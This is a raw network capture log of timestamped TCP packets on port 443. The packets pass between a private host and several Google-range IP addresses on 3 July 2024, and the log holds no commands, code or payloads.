Jul 3, 2024 08:49:07.847557068 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.847601891 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.847613096 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.848911047 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.848937035 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.848964930 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.848977089 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.849021912 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.850184917 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.851766109 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.851802111 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.851841927 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.851852894 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.851892948 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.853344917 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.854753017 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.854804039 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.854806900 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.854818106 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.854856014 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.856312037 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.858498096 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.858536005 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.858567953 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.858572960 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.858608961 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.860904932 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.861097097 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.861124039 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.861148119 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.861154079 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.861191988 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.864778996 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.864833117 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.864875078 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.864881992 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.865044117 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.865065098 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.865087032 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.865092039 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.865125895 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.865291119 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.870963097 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.871042013 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.871048927 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.871166945 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.871208906 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.871213913 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877134085 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877211094 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.877216101 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877293110 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877331018 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.877335072 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877427101 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.877475023 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.877479076 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881433010 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881514072 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.881519079 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881721020 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881772995 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.881777048 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881851912 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.881889105 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.881892920 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887217999 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887298107 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.887304068 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887530088 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887584925 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.887588978 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887669086 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.887706995 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.887711048 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893246889 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893318892 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.893326044 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893399000 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893448114 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.893452883 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893620014 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.893671989 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.893676043 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.898710966 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.898782969 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.898788929 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.899072886 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.899126053 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.899131060 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.918709993 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.918843031 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.918843985 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.918884993 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.919022083 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.919044971 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.919136047 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.919187069 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.919193029 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.928812027 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.928890944 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.928929090 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.928952932 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.928999901 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.929013014 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929152012 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929207087 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.929218054 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929481030 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929536104 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.929548025 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929635048 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929687023 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.929721117 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929796934 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.929857969 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.929869890 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930546999 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930607080 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.930622101 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930701971 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930752039 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.930763960 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930836916 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.930892944 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.930905104 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931118965 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931173086 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.931185007 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931274891 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931324959 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.931335926 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931526899 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931593895 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.931607008 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931900978 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.931952953 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.931966066 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.932065010 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.932121992 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.932133913 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.932218075 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.932271004 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.932296991 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934066057 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934155941 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934158087 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.934195042 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934242010 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.934326887 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934456110 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.934505939 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.934521914 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.938600063 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.938684940 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.938702106 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.938726902 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.938787937 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.938808918 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.938952923 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.939003944 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.939024925 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.943675041 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.943778992 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.943799019 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.943829060 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.943876982 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.943919897 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.944067955 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.944119930 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.944168091 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947707891 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947750092 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947777987 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.947793961 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947830915 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.947875023 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947927952 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.947963953 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.947968960 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951695919 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951740980 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951765060 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.951772928 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951809883 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.951905012 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951953888 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951983929 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.951991081 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.951994896 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.952028036 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.960767031 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.961007118 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.961040020 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.961065054 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.961072922 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.961117029 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.961121082 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968424082 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968465090 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968512058 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.968535900 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968585014 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.968590021 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968645096 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.968688011 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.968692064 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974184036 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974220991 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974270105 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.974284887 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974340916 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.974368095 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974466085 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.974514961 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.974525928 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980217934 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980258942 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980312109 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.980326891 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980390072 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.980468035 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980514050 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.980567932 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.980578899 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.985761881 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.985796928 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.985858917 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.985873938 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.985923052 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.985992908 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.986053944 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.986108065 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.986119986 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.986298084 CEST	443	49722	142.250.184.225	192.168.2.6
Jul 3, 2024 08:49:07.986351013 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:07.986447096 CEST	49722	443	192.168.2.6	142.250.184.225
Jul 3, 2024 08:49:47.780865908 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:47.780930996 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:47.781021118 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:47.793735981 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:47.793752909 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.442079067 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.442300081 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.442806959 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.442862034 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.500624895 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.500665903 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.500932932 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.500994921 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.504792929 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.552505970 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.829493999 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.829612970 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.829641104 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.829682112 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.829849005 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.829881907 CEST	443	49726	142.250.186.110	192.168.2.6
Jul 3, 2024 08:49:48.829932928 CEST	49726	443	192.168.2.6	142.250.186.110
Jul 3, 2024 08:49:48.851108074 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:48.851172924 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:48.851253033 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:48.851510048 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:48.851528883 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:49.624917030 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:49.625065088 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:49.629359007 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:49.629379034 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:49.629690886 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:49.629761934 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:49.630075932 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:49.672513962 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.336333990 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.336487055 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.341887951 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.341968060 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.353945971 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.354017019 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.354031086 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.354054928 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.354068041 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.354094028 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.359833002 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.359888077 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.422243118 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.422307014 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.422339916 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.422380924 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.422388077 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.422420979 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.425374031 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.425424099 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.425434113 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.425467968 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.431514025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.431588888 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.431633949 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.431674957 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.437412024 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.437462091 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.437494040 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.437530041 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.443512917 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.443604946 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.443618059 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.443656921 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.449506044 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.449579954 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.449628115 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.449671984 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.455518961 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.455619097 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.455945015 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.455990076 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.463345051 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.463413954 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.463514090 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.463572025 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.469676971 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.469757080 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.469969034 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.470026970 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.474498034 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.474678040 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.474718094 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.474772930 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.480016947 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.480065107 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.480195045 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.480238914 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.485260963 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.485311031 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.487968922 CEST	443	49727	142.250.186.33	192.168.2.6
